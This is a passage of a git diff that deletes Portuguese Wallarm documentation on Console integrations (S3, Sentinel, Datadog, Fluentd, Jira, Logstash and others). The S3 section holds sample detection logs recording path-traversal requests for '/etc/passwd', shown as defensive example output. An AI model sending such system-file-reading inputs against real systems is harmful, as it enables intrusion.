configuração da integração. - -## Configurando a integração - -Ao configurar a integração com o Amazon S3, você precisa decidir qual método de autorização irá usar: - -* **Via role ARN (recomendado)** - usando funções com a opção de ID externo para conceder acesso aos recursos é [recomendado](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-user_externalid.html?icmpid=docs_iam_console) pela AWS como método que aumenta a segurança e previne ataques do tipo "delegado confuso". O Wallarm fornece tal ID único para sua conta de organização. -* **Via chave de acesso secreta** - método mais comum, mais simples, que requer a chave de [acesso compartilhada](https://docs.aws.amazon.com/powershell/latest/userguide/pstools-appendix-sign-up.html) do seu usuário AWS IAM. Se você escolher este método, é recomendado usar a chave de acesso de um usuário IAM separado, com apenas permissão de gravação no bucket S3 usado na integração. - -Para configurar uma integração com o Amazon S3: - -1. Crie um bucket Amazon S3 para o Wallarm, seguindo as [instruções](https://docs.aws.amazon.com/AmazonS3/latest/userguide/GetStartedWithS3.html). -1. Execute diferentes passos de acordo com o método de autorização selecionado. - - === "Role ARN" - - 1. No UI da AWS, navegue até S3 → seu bucket → guia **Properties** e copie o código da **Region AWS** e o **Nome do Recurso da Amazon (ARN)** do seu bucket. - - Por exemplo, `us-west-1` como uma região e `arn:aws:s3:::test-bucket-json` como ARN. - - 1. No UI do Console Wallarm, abra a seção **Integrations**. - 1. Clique no bloco **AWS S3** ou clique no botão **Add integration** e escolha **AWS S3**. - 1. Digite um nome para a integração. - 1. Digite o código da região AWS do seu bucket S3 que você copiou anteriormente. - 1. Digite o nome do seu bucket S3. - 1. Copie o ID da conta Wallarm fornecido. - 1. Copie o ID externo fornecido. - 1. No UI da AWS, inicie a criação de uma [nova função](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-user.html) em IAM → **Access Management** → **Roles**. - 1. Selecione **AWS account** → **Another AWS Account** como tipo de entidade confiável. - 1. Cole o **Account ID** do Wallarm. - 1. Selecione **Require external ID** e cole o ID externo fornecido pelo Wallarm. - 1. Clique em **Next** e crie uma política para a sua função: - - ```json - { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "VisualEditor0", - "Effect": "Allow", - "Action": "s3:PutObject", - "Resource": "/*" - } - ] - } - ``` - 1. Complete a criação da função e copie o ARN da função. - 1. No UI do Console Wallarm, no diálogo de criação da sua integração, na guia **Role ARN**, cole o ARN da sua função. - - ![Amazon S3 integration](../../../images/user-guides/settings/integrations/add-amazon-s3-integration.png) - - === "Secret access key" - - 1. No UI da AWS, navegue até S3 → seu bucket → guia **Properties** e copie o código da **Region AWS**, por exemplo` us-west-1`. - 1. Navegue até IAM → Dashboard → seção **Manage access keys** → **Access keys**. - 1. Obtenha o ID da chave de acesso que você armazena em algum lugar ou crie uma nova chave/recupere a chave perdida como descrito [aqui](https://aws.amazon.com/ru/blogs/security/wheres-my-secret-access-key/). De qualquer forma, você precisará da sua chave ativa e do seu ID. - 1. No UI do Console Wallarm, abra a seção **Integrations**. - 1. Clique no bloco **AWS S3** ou clique no botão **Add integration** e escolha **AWS S3**. - 1. Digite um nome para a integração. - 1. Digite o código da região AWS do seu bucket S3 que você copiou anteriormente. - 1. Digite o nome do seu bucket S3. - 1. Na guia **Secret access key**, digite o ID da chave de acesso e a própria chave. - -1. Selecione o formato para os dados do Wallarm: ou um Array JSON ou um Novo Delimitado por Nova Linha JSON (NDJSON). -1. Na seção **Regular notifications**, certifique-se de que os hits nos últimos 10 minutos são selecionados para serem enviados. Se não forem escolhidos, os dados não serão enviados para o bucket S3. -1. Clique em **Test integration** para verificar a correção da configuração, a disponibilidade do Wallarm Cloud e o formato da notificação. - - Para o Amazon S3, o teste de integração envia o arquivo JSON com dados para o seu bucket. Aqui está um exemplo do arquivo JSON com os dados sobre os hits detectados nos últimos 10 minutos: - - === "JSON Array" - ```json - [ - { - "time":"1687241470", - "request_id":"d2a900a6efac7a7c893a00903205071a", - "ip":"127.0.0.1", - "datacenter":"unknown", - "tor":"none", - "remote_country":null, - "application_id":[ - -1 - ], - "domain":"localhost", - "method":"GET", - "uri":"/etc/passwd", - "protocol":"none", - "status_code":499, - "attack_type":"ptrav", - "block_status":"monitored", - "payload":[ - "/etc/passwd" - ], - "point":[ - "uri" - ], - "tags":{ - "lom_id":7, - "libproton_version":"4.4.11", - "brute_counter":"c188cd2baa2cefb3f3688cb4008a649e", - "wallarm_mode":"monitoring", - "final_wallarm_mode":"monitoring" - } - }, - { - "time":"1687241475", - "request_id":"b457fccec9c66cdb07eab7228b34eca6", - "ip":"127.0.0.1", - "datacenter":"unknown", - "tor":"none", - "remote_country":null, - "application_id":[ - -1 - ], - "domain":"localhost", - "method":"GET", - "uri":"/etc/passwd", - "protocol":"none", - "status_code":499, - "attack_type":"ptrav", - "block_status":"monitored", - "payload":[ - "/etc/passwd" - ], - "point":[ - "uri" - ], - "tags":{ - "lom_id":7, - "libproton_version":"4.4.11", - "brute_counter":"c188cd2baa2cefb3f3688cb4008a649e", - "wallarm_mode":"monitoring", - "final_wallarm_mode":"monitoring" - } - } - ] - ``` - === "New Line Delimited JSON (NDJSON)" - ```json - {"time":"1687241470","request_id":"d2a900a6efac7a7c893a00903205071a","ip":"127.0.0.1","datacenter":"unknown","tor":"none","remote_country":null,"application_id":[-1],"domain":"localhost","method":"GET","uri":"/etc/passwd","protocol":"none","status_code":499,"attack_type":"ptrav","block_status":"monitored","payload":["/etc/passwd"],"point":["uri"],"tags":{"lom_id":7,"libproton_version":"4.4.11","brute_counter":"c188cd2baa2cefb3f3688cb4008a649e","wallarm_mode":"monitoring","final_wallarm_mode":"monitoring"}} - {"time":"1687241475","request_id":"b457fccec9c66cdb07eab7228b34eca6","ip":"127.0.0.1","datacenter":"unknown","tor":"none","remote_country":null,"application_id":[-1],"domain":"localhost","method":"GET","uri":"/etc/passwd","protocol":"none","status_code":499,"attack_type":"ptrav","block_status":"monitored","payload":["/etc/passwd"],"point":["uri"],"tags":{"lom_id":7,"libproton_version":"4.4.11","brute_counter":"c188cd2baa2cefb3f3688cb4008a649e","wallarm_mode":"monitoring","final_wallarm_mode":"monitoring"}} - ``` -1. Clique em **Add integration**. - -Para controlar a quantidade de dados armazenados, é recomendado configurar a exclusão automática de objetos antigos do seu bucket Amazon S3, conforme descrito [aqui](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lifecycle-mgmt.html). - -## Desabilitando e excluindo uma integração - ---8<-- "../include-pt-BR/integrations/integrations-disable-delete.md" - -## Indisponibilidade do sistema e parâmetros incorretos de integração - ---8<-- "../include-pt-BR/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/azure-sentinel.md b/docs/latest-pt-BR/user-guides/settings/integrations/azure-sentinel.md deleted file mode 100644 index 11b8ad7f44..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/azure-sentinel.md +++ /dev/null @@ -1,78 +0,0 @@ -# Microsoft Sentinel - -Você pode configurar Wallarm para registrar eventos no [Microsoft Azure Sentinel](https://azure.microsoft.com/en-au/products/microsoft-sentinel/). - -## Configurando a integração - -Na interface do usuário do Microsoft: - -1. [Execute o Microsoft Sentinel em um Workspace](https://learn.microsoft.com/en-us/azure/sentinel/quickstart-onboard#enable-microsoft-sentinel-). -1. Prossiga para as configurações do Workspace do Sentinel → **Agentes** → **Instruções do agente de análise de log** e copie os seguintes dados: - - * ID do Workspace - * Chave primária - -Na interface do usuário do Console Wallarm: - -1. Abra a seção **Integrações**. -1. Clique no bloco **Microsoft Sentinel** ou clique no botão **Adicionar integração** e escolha **Microsoft Sentinel**. -1. Digite um nome para a integração. -1. Cole o ID do Workspace e a Chave Primária copiados. -1. Opcionalmente, especifique a tabela do Azure Sentinel para eventos do Wallarm. Se ela não existir, será criada automaticamente. - - Sem um nome, tabelas separadas são criadas para cada tipo de evento. -1. Escolha os tipos de eventos para acionar notificações. - - ![Integração Sentinel](../../../images/user-guides/settings/integrations/add-sentinel-integration.png) - - Detalhes sobre eventos disponíveis: - - --8<-- "../include-pt-BR/integrations/advanced-events-for-integrations.md" - -1. Clique em **Testar integração** para verificar a correção da configuração, a disponibilidade do Wallarm Cloud e o formato da notificação. - - Você pode encontrar os logs do Wallarm em seu Microsoft Workspace → **Logs** → **Log Personalizado**, por exemplo, o log de teste `create_user_CL` no Microsoft Sentinel aparece assim: - - ![Mensagem de teste Sentinel](../../../images/user-guides/settings/integrations/test-sentinel-new-vuln.png) - - !!! info "Atraso no envio de dados para novos espaços de trabalho" - Criar um espaço de trabalho no Sentinel para integração com Wallarm pode levar até 1 hora para todos os serviços funcionarem. Este atraso pode resultar em erros durante os testes e uso da integração. Se todas as configurações da integração estiverem corretas, mas os erros continuarem a aparecer, tente novamente após 1 hora. - -1. Clique em **Adicionar integração**. - -## Tipos de logs do Wallarm - -Em geral, o Wallarm pode registrar no Sentinel os registros dos seguintes tipos: - -| Evento | Tipo de log Sentinel | -| ----- | ----------------- | -| Nova [hit](../../../glossary-en.md#hit) | `new_hits_CL` | -| Novo [usuário](../../../user-guides/settings/users.md) em uma conta da empresa | `create_user_CL` | -| Exclusão de um usuário de uma conta da empresa | `delete_user_CL` | -| Atualização de função do usuário | `update_user_CL` | -| Exclusão de uma [integração](integrations-intro.md) | `delete_integration_CL` | -| Desabilitando uma integração | `disable_integration_CL` ou `integration_broken_CL` se foi desativado devido a configurações incorretas | -| Nova [aplicação](../../../user-guides/settings/applications.md) | `create_application_CL` | -| Exclusão de uma aplicação | `delete_application_CL` | -| Atualização do nome da aplicação | `update_application_CL` | -| Nova [vulnerabilidade](../../../glossary-en.md#vulnerability) de alto risco | `vuln_high_CL` | -| Nova vulnerabilidade de médio risco | `vuln_medium_CL` | -| Nova vulnerabilidade de baixo risco | `vuln_low_CL` | -| Nova [regra](../../../user-guides/rules/rules.md) | `rule_create_CL` | -| Exclusão de uma regra | `rule_delete_CL` | -| Alterações de uma regra existente | `rule_update_CL` | -| Novo [gatilho](../../../user-guides/triggers/triggers.md) | `trigger_create_CL` | -| Exclusão de um gatilho | `trigger_delete_CL` | -| Alterações de um gatilho existente | `trigger_update_CL` | -| Atualizações em hosts, serviços e domínios em [ativos expostos](../../scanner.md) | `scope_object_CL` | -| Alterações no inventário da API (se o [gatilho](../../triggers/triggers.md) correspondente estiver ativo) | `api_structure_changed_CL` | -| A quantidade de ataques excede o limite (se o [gatilho](../../triggers/triggers.md) correspondente estiver ativo) | `attacks_exceeded_CL` | -| Novo IP na lista negra (se o [gatilho](../../triggers/triggers.md) correspondente estiver ativo) | `ip_blocked_CL` | - -## Desativando e excluindo uma integração - ---8<-- "../include-pt-BR/integrations/integrations-disable-delete.md" - -## Indisponibilidade do sistema e parâmetros incorretos de integração - ---8<-- "../include-pt-BR/integrations/integration-not-working.md" diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/datadog.md b/docs/latest-pt-BR/user-guides/settings/integrations/datadog.md deleted file mode 100644 index 004d1d26e7..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/datadog.md +++ /dev/null @@ -1,40 +0,0 @@ -# Datadog - -Você pode configurar o Wallarm para enviar notificações de eventos detectados diretamente para o serviço Datadog Logs criando uma integração apropriada através da [chave API Datadog](https://docs.datadoghq.com/account_management/api-app-keys/) no Console Wallarm. - -## Configurando a integração - -1. Abra a interface do usuário do Datadog → **Configurações da organização** → **Chaves da API** e gere a chave da API para a integração com o Wallarm. -1. Abra o Console do Wallarm → **Integrações** e prossiga para a configuração da integração **Datadog**. -1. Insira um nome para a integração. -1. Cole a chave da API do Datadog no campo **Chave da API**. -1. Selecione a [região do Datadog](https://docs.datadoghq.com/getting_started/site/). -1. Escolha os tipos de eventos que acionarão as notificações. - - ![Integração Datadog](../../../images/user-guides/settings/integrations/add-datadog-integration.png) - - Detalhes sobre eventos disponíveis: - - --8<-- "../include-pt-BR/integrations/advanced-events-for-integrations.md" - -1. Clique em **Testar integração** para verificar a correção da configuração, a disponibilidade do Wallarm Cloud e o formato da notificação. - - O log de teste do Datadog: - - ![O log de teste do Datadog](../../../images/user-guides/settings/integrations/test-datadog-vuln-detected.png) - - Para encontrar os logs Wallarm entre outros registros, você pode usar a tag de pesquisa `source:wallarm_cloud` no serviço Datadog Logs. - -1. Clique em **Adicionar integração**. - -## Configurando alertas adicionais - ---8<-- "../include-pt-BR/integrations/integrations-trigger-setup.md" - -## Desabilitando e excluindo uma integração - ---8<-- "../include-pt-BR/integrations/integrations-disable-delete.md" - -## Indisponibilidade do sistema e parâmetros de integração incorretos - ---8<-- "../include-pt-BR/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/email.md b/docs/latest-pt-BR/user-guides/settings/integrations/email.md deleted file mode 100644 index de02b7b3aa..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/email.md +++ /dev/null @@ -1,42 +0,0 @@ -# Relatório por Email - -Você pode definir endereços de email adicionais que serão usados para entregar [relatórios PDF](../../../user-guides/search-and-filters/custom-report.md) programados e notificações instantâneas. O envio de mensagens para o seu email principal é configurado por padrão. - -Os relatórios PDF programados podem ser enviados diariamente, semanalmente, ou mensalmente. Os relatórios PDF incluem informações detalhadas sobre vulnerabilidades, ataques e incidentes detectados em seu sistema durante o período selecionado. - -As notificações incluem detalhes breves dos eventos acionados. - -## Configurando a integração - -1. Abra a seção **Integrações**. -1. Clique no bloco **Relatório por email** ou clique no botão **Adicionar integração** e escolha **Relatório por email**. -1. Insira um nome para a integração. -1. Insira endereços de email usando uma vírgula como separador. -1. Escolha a frequência dos relatórios de segurança. Se a frequência não for escolhida, os relatórios não serão enviados. -1. Escolha os tipos de eventos para acionar as notificações. - - ![Integração de relatório por e-mail](../../../images/user-guides/settings/integrations/add-email-report-integration.png) - - Detalhes sobre eventos disponíveis: - - --8<-- "../include-pt-BR/integrations/events-for-integrations-mail.md" - -1. Clique em **Testar integração** para verificar a corretude da configuração, a disponibilidade da Nuvem Wallarm e o formato da notificação. - - Isso enviará as notificações de teste com o prefixo `[Test message]`: - - ![Mensagem de teste por email](../../../images/user-guides/settings/integrations/test-email-scope-changed.png) - -1. Clique em **Adicionar integração**. - -## Configurando alertas adicionais - ---8<-- "../include-pt-BR/integrations/integrations-trigger-setup-limited.md" - -## Desativando e excluindo uma integração - ---8<-- "../include-pt-BR/integrations/integrations-disable-delete.md" - -## Indisponibilidade do sistema e parâmetros de integração incorretos - ---8<-- "../include-pt-BR/integrations/integration-not-working.md" diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/fluentd.md b/docs/latest-pt-BR/user-guides/settings/integrations/fluentd.md deleted file mode 100644 index cce84d87be..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/fluentd.md +++ /dev/null @@ -1,197 +0,0 @@ -# Fluentd - -Você pode configurar o Wallarm para enviar notificações de eventos detectados para o Fluentd, criando uma integração apropriada no Wallarm Console. - -## Formato de notificação - -O Wallarm envia notificações para o Fluentd via **webhooks** no formato JSON. O conjunto de objetos JSON depende do evento que o Wallarm notifica. - -Exemplo de notificação de um novo hit detectado: - -```json -[ - { - "summary": "[Wallarm] Novo hit detectado", - "details": { - "client_name": "TestCompany", - "cloud": "EU", - "notification_type": "new_hits", - "hit": { - "domain": "www.example.com", - "heur_distance": 0.01111, - "method": "POST", - "parameter": "ALGUM_valor", - "path": "/news/some_path", - "payloads": [ - "say ni" - ], - "point": [ - "post" - ], - "probability": 0.01, - "remote_country": "PL", - "remote_port": 0, - "remote_addr4": "8.8.8.8", - "remote_addr6": "", - "tor": "none", - "request_time": 1603834606, - "create_time": 1603834608, - "response_len": 14, - "response_status": 200, - "response_time": 5, - "stamps": [ - 1111 - ], - "regex": [], - "stamps_hash": -22222, - "regex_hash": -33333, - "type": "sqli", - "block_status": "monitored", - "id": [ - "hits_production_999_202010_v_1", - "c2dd33831a13be0d_AC9" - ], - "object_type": "hit", - "anomaly": 0 - } - } - } -] -``` - -## Requisitos - -A configuração do Fluentd deve atender aos seguintes requisitos: - -* Aceitar as solicitações POST ou PUT -* Aceitar solicitações HTTPS -* Ter URL pública - -Exemplo de configuração Fluentd: - -```bash linenums="1" - - @type http # plugin de entrada para tráfego HTTP e HTTPS - port 9880 # porta para solicitações recebidas - # configuração para gerenciamento de conexões - cert_path /etc/ssl/certs/fluentd.crt - private_key_path /etc/ssl/private/fluentd.key - - - - @type copy - - @type stdout # plugin de saída para imprimir logs Fluentd na linha de comando - output_type json # formato de logs impressos na linha de comando - - -``` - -Você encontrará mais detalhes na [documentação oficial do Fluentd](https://docs.datadoghq.com/integrations/fluentd). - -## Configuração da integração - -1. Prossiga para a configuração de integração Fluentd no Console Wallarm → **Integrações** → **Fluentd**. -1. Insira o nome da integração. -1. Especifique a URL Fluentd de destino (URL do Webhook). -1. Se necessário, configure as configurações avançadas: - - --8<-- "../include-pt-BR/integrations/webhook-advanced-settings.md" -1. Escolha tipos de eventos para acionar notificações. - - ![Integração Fluentd](../../../images/user-guides/settings/integrations/add-fluentd-integration.png) - - Detalhes sobre eventos disponíveis: - - --8<-- "../include-pt-BR/integrations/advanced-events-for-integrations.md" - -1. Clique em **Testar integração** para verificar a correção da configuração, a disponibilidade do Wallarm Cloud e o formato de notificação. - - Log de teste do Fluentd: - - ```json - [ - { - summary:"[Mensagem de teste] [Teste de parceiro(US)] Nova vulnerabilidade detectada", - description:"Tipo de notificação: vuln - - Uma nova vulnerabilidade foi detectada em seu sistema. - - ID: - Título: Teste - Domínio: example.com - Caminho: - Método: - Descoberto por: - Parâmetro: - Tipo: Info - Ameaça: Média - - Mais detalhes: https://us1.my.wallarm.com/object/555 - - Cliente: TestCompany - Nuvem: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Teste", - discovered_by:null, - threat:"Medium", - type:"Info" - } - } - } - ] - ``` - -1. Clique em **Adicionar integração**. - -## Configuração de alertas adicionais - ---8<-- "../include-pt-BR/integrations/integrations-trigger-setup.md" - -## Usando o Fluentd como um coletor de dados intermediário - ---8<-- "../include-pt-BR/integrations/webhook-examples/overview.md" - -Por exemplo: - -![Fluxo de Webhook](../../../images/user-guides/settings/integrations/webhook-examples/fluentd/qradar-scheme.png) - -Para registrar eventos do Wallarm usando este esquema: - -1. Configure o coletor de dados para ler os webhooks recebidos e encaminhar logs para o próximo sistema. O Wallarm envia eventos para coletores de dados via webhooks. -1. Configure um sistema SIEM para obter e ler logs do coletor de dados. -1. Configure o Wallarm para enviar logs para o coletor de dados. - - O Wallarm pode enviar logs para qualquer coletor de dados via webhooks. - - Para integrar o Wallarm com o Fluentd ou Logstash, você pode usar os cartões de integração correspondentes na interface do usuário do Wallarm Console. - - Para integrar o Wallarm com outros coletores de dados, você pode usar o [cartão de integração webhook](webhook.md) na interface do usuário do Wallarm Console. - -Nós descrevemos alguns exemplos de como configurar a integração com coletores de dados populares que encaminham logs para os sistemas SIEM: - -* [Wallarm → Fluentd → IBM QRadar](webhook-examples/fluentd-qradar.md) -* [Wallarm → Fluentd → Splunk Enterprise](webhook-examples/fluentd-splunk.md) -* [Wallarm → Fluentd → Micro Focus ArcSight Logger](webhook-examples/fluentd-arcsight-logger.md) -* [Wallarm → Fluentd → Datadog](webhook-examples/fluentd-logstash-datadog.md) - - O Wallarm também suporta a [integração nativa com o Datadog via Datadog API](datadog.md). A integração nativa não requer o uso do coletor de dados intermediário. - -## Desabilitando e excluindo uma integração - ---8<-- "../include-pt-BR/integrations/integrations-disable-delete.md" - -## Indisponibilidade do sistema e parâmetros de integração incorretos - ---8<-- "../include-pt-BR/integrations/integration-not-working.md" diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/insightconnect.md b/docs/latest-pt-BR/user-guides/settings/integrations/insightconnect.md deleted file mode 100644 index 45b8260435..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/insightconnect.md +++ /dev/null @@ -1,51 +0,0 @@ -# InsightConnect - -Você pode configurar o Wallarm para enviar notificações ao InsightConnect. - -## Configurando a integração - -Primeiro, gere e copie uma chave API conforme a seguir: - -1. Abra a interface do usuário do InsightConnect → **Configurações** → [**API Keys** page](https://insight.rapid7.com/platform#/apiKeyManagement) e clique em **New User Key**. -2. Insira um nome para a chave API (por exemplo, `Chave API Wallarm`) e clique em **Generate**. -3. Copie a chave API gerada. -4. Vá para a interface do usuário do Wallarm → **Integrações** na nuvem [US](https://us1.my.wallarm.com/integrations/) ou [EU](https://my.wallarm.com/integrations/) e clique em **InsightConnect**. -4. Cole a chave API que você copiou anteriormente no campo **API key**. - -Em segundo lugar, gere e copie uma URL da API da seguinte maneira: - -1. Volte à interface do usuário do InsightConnect, abra a **Automation** → página **Workflows** e crie um novo fluxo de trabalho para a notificação Wallarm. -2. Quando solicitado a escolher um gatilho, escolha o **API Trigger**. -3. Copie a URL gerada. -4. Volte para a interface do usuário do Wallarm → configuração do **InsightConnect** e cole a URL da API que você copiou anteriormente no campo **API URL**. - -Em terceiro lugar, termine a configuração na interface do usuário do Wallarm: - -1. Insira um nome para a integração. -1. Escolha tipos de eventos para acionar notificações. - - ![Integração InsightConnect](../../../images/user-guides/settings/integrations/add-insightconnect-integration.png) - - Detalhes sobre eventos disponíveis: - - --8<-- "../include-pt-BR/integrations/advanced-events-for-integrations.md" - -1. Clique em **Test integration** para verificar a correção da configuração, a disponibilidade do Wallarm Cloud, e o formato da notificação. - - Isso enviará as notificações de teste com o prefixo `[Mensagem de teste]`: - - ![Testar notificação InsightConnect](../../../images/user-guides/settings/integrations/test-insightconnect-scope-changed.png) - -1. Clique em **Add integration**. - -## Configurando alertas adicionais - ---8<-- "../include-pt-BR/integrations/integrations-trigger-setup.md" - -## Desabilitando e excluindo uma integração - ---8<-- "../include-pt-BR/integrations/integrations-disable-delete.md" - -## Indisponibilidade do sistema e parâmetros incorretos de integração - ---8<-- "../include-pt-BR/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/integrations-intro.md b/docs/latest-pt-BR/user-guides/settings/integrations/integrations-intro.md deleted file mode 100644 index f83ce29fb2..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/integrations-intro.md +++ /dev/null @@ -1,152 +0,0 @@ -# Visão geral das integrações - -Sendo seu escudo contra as 10 principais ameaças da API OWASP, o abuso de API e ameaças automatizadas, a Wallarm leva sua segurança um passo adiante, integrando-se perfeitamente a uma ampla gama de sistemas para mantê-lo informado em tempo real. - -Com as integrações da Wallarm, você sempre ficará informado sobre eventos críticos, incluindo: - -* Alertas instantâneos sobre [hits detectados](../../../user-guides/events/check-attack.md), para que você possa tomar medidas imediatas contra as ameaças. -* Atualizações sobre eventos do sistema (mudanças em [usuários](../../../user-guides/settings/users.md) registrados, integrações e [aplicações](../../../user-guides/settings/applications.md)), garantindo que você esteja sempre no controle. -* Notificação sobre mudanças importantes em seu perfil de segurança, como suas mudanças em [regras](../../../user-guides/rules/rules.md) e [gatilhos](../../../user-guides/triggers/triggers.md). -* Avisos oportunos sobre possíveis [vulnerabilidades](../../../about-wallarm/detecting-vulnerabilities.md) em sua infraestrutura e seus níveis de risco, para que você possa abordar proativamente as fraquezas mais perigosas. - -Gerencie o recurso na seção **Integrações** do Console Wallarm e na seção **Gatilhos** para configurar alertas adicionais para suas integrações. - -![Integrações](../../../images/user-guides/settings/integrations/integration-panel.png) - -A Wallarm se conecta facilmente a uma série de ferramentas e plataformas existentes. O número de integrações com um sistema não é limitado. - - - -## Email e mensageiros - -
            -
            - - -

            Email

            -

            Receba notificações no email indicado no momento do registro e emails adicionais

            -             - - -

            Slack

            -

            Envie notificações para o canal Slack selecionado

            -             - - -

            Telegram

            -

            Adicione o bot da Wallarm ao Telegram e envie notificações para ele

            -             - - -

            Microsoft Teams

            -

            Envie notificações para o canal Microsoft Teams selecionado

            -             -
            -
            - -## Sistemas de gerenciamento de incidentes e tarefas - -
            -
            - - -

            Opsgenie

            -

            Integre através da API do Opsgenie

            -             - - -

            PagerDuty

            -

            Envie incidentes para o PagerDuty

            -             - - -

            Jira

            -

            Configure a Wallarm para criar problemas no Jira

            -             - - -

            ServiceNow

            -

            Configure a Wallarm para criar tickets de problemas no ServiceNow

            -             -
            -
            - -## Sistemas SIEM e SOAR - -
            -
            - - -

            Sumo Logic

            -

            Envie mensagens para o Sumo Logic

            -             - - -

            Splunk

            -

            Envie alertas para o Splunk

            -             - - -

            InsightConnect

            -

            Envie notificações para o InsightConnect

            -             - - -

            Microsoft Sentinel

            -

            Registre eventos no Microsoft Azure Sentinel

            -             -
            -
            - -## Sistemas de gerenciamento de logs - -
            -
            - - -

            Datadog

            -

            Envie eventos para o serviço Datadog Logs

            -             -
            -
            - -## Coletor de dados - -
            -
            - - -

            Fluentd

            -

            Envie notificações de eventos detectados para o Fluentd

            -             - - -

            Logstash

            -

            Envie notificações de eventos detectados para o Logstash

            -             - - -

            AWS S3

            -

            Configure o Wallarm para enviar arquivos com informações sobre hits detectados para seu bucket Amazon S3

            -             -
            -
            - -## Outros sistemas - -
            -
            - - -

            Webhook

            -

            Conector universal: envie notificações instantâneas para qualquer sistema que aceite webhooks de entrada via protocolo HTTPS

            -             - - -

            Solicitar integração

            -

            Se não houver sistema que você está procurando, informe-nos. Vamos verificar a possibilidade da integração e entrar em contato com você.

            -             -
            -
            - - \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/jira.md b/docs/latest-pt-BR/user-guides/settings/integrations/jira.md deleted file mode 100644 index e0bdf3a3ef..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/jira.md +++ /dev/null @@ -1,39 +0,0 @@ -# Atlassian Jira - -Você pode configurar o Wallarm para criar problemas no Jira quando [vulnerabilidades](../../../glossary-en.md#vulnerability) são detectadas, todas ou apenas para o(s) nível(is) de risco selecionado(s) - alto, médio ou baixo. - -## Configurando a integração - -No Jira UI: - -1. Gere um token de API conforme descrito [aqui](https://support.atlassian.com/atlassian-account/docs/manage-api-tokens-for-your-atlassian-account/#Create-an-API-token). -1. Copie o token de API gerado. - -No Wallarm UI: - -1. Abra o Console Wallarm → **Integrações** → **Jira**. -1. Insira um nome para a integração. -1. Insira o host do Jira (por exemplo, `https://company-x.atlassian.net/`). -1. Insira o e-mail do usuário do Jira, que o Jira requer para autenticação e também será usado para identificar o Reporter para os problemas criados. -1. Cole o token de API gerado. O e-mail e o token serão verificados para autenticar a Wallarm no host do Jira especificado. Em caso de sucesso, os espaços disponíveis para esse usuário do Jira serão listados. -1. Selecione o espaço Jira para criar problemas. Quando selecionado, a lista de tipos de problemas suportados neste espaço será listada. -1. Selecione o tipo de problema do Jira ao qual os problemas criados pertencerão. -1. Selecione os tipos de evento para disparar notificações. Todas as vulnerabilidades ou apenas de um nível de risco específico podem ser selecionadas. - - ![Integração Jira](../../../images/user-guides/settings/integrations/add-jira-integration.png) - -1. Clique em **Testar integração** para verificar a correção da configuração, a disponibilidade do Wallarm Cloud e o formato da notificação. - - Teste a criação de problemas do Jira: - - ![Testar a criação de problemas do Jira](../../../images/user-guides/settings/integrations/test-jira-issue-creation.png) - -1. Clique em **Adicionar integração**. - -## Desativando e excluindo uma integração - ---8<-- "../include-pt-BR/integrations/integrations-disable-delete.md" - -## Indisponibilidade do sistema e parâmetros de integração incorretos - ---8<-- "../include-pt-BR/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/logstash.md b/docs/latest-pt-BR/user-guides/settings/integrations/logstash.md deleted file mode 100644 index 2d6fb6e0c6..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/logstash.md +++ /dev/null @@ -1,191 +0,0 @@ -# Logstash - -Você pode configurar o Wallarm para enviar notificações de eventos detectados para o Logstash. - -## Formato de notificação - -O Wallarm envia notificações para o Logstash via **webhooks** no formato JSON. O conjunto de objetos JSON depende do evento sobre o qual Wallarm está notificando. - -Exemplo da notificação de um novo hit detectado: - -```json -[ - { - "summary": "[Wallarm] Novo hit detectado", - "details": { - "client_name": "TestCompany", - "cloud": "UE", - "notification_type": "new_hits", - "hit": { - "domain": "www.exemplo.com", - "heur_distance": 0.01111, - "method": "POST", - "parameter": "ALGUM_valor", - "path": "/news/some_path", - "payloads": [ - "diga ni" - ], - "point": [ - "post" - ], - "probability": 0.01, - "remote_country": "PL", - "remote_port": 0, - "remote_addr4": "8.8.8.8", - "remote_addr6": "", - "tor": "none", - "request_time": 1603834606, - "create_time": 1603834608, - "response_len": 14, - "response_status": 200, - "response_time": 5, - "stamps": [ - 1111 - ], - "regex": [], - "stamps_hash": -22222, - "regex_hash": -33333, - "type": "sqli", - "block_status": "monitored", - "id": [ - "hits_production_999_202010_v_1", - "c2dd33831a13be0d_AC9" - ], - "object_type": "hit", - "anomaly": 0 - } - } - } -] -``` - -## Requisitos - -A configuração do Logstash deve atender aos seguintes requisitos: - -* Aceitar solicitações POST ou PUT -* Aceitar solicitações HTTPS -* Possuir URL pública - -Exemplo de confiração do Logstash: - -```bash linenums="1" -input { - http { # plugin de entrada para tráfego HTTP e HTTPS - port => 5044 # porta para solicitações de entrada - ssl => true # processamento de tráfego HTTPS - ssl_certificate => "/etc/server.crt" # certificado TLS do Logstash - ssl_key => "/etc/server.key" # chave privada para o certificado TLS - } -} -output { - stdout {} # plugin de saída para imprimir logs do Logstash na linha de comando - ... -} -``` - -Você pode encontrar mais detalhes na [documentação oficial do Logstash](https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html). - -## Configurando a integração - -1. Prossiga para a configuração da integração do Logstash no Console Wallarm → **Integrações** → **Logstash**. -1. Insira o nome da integração. -1. Especifique a URL do Logstash de destino (URL do 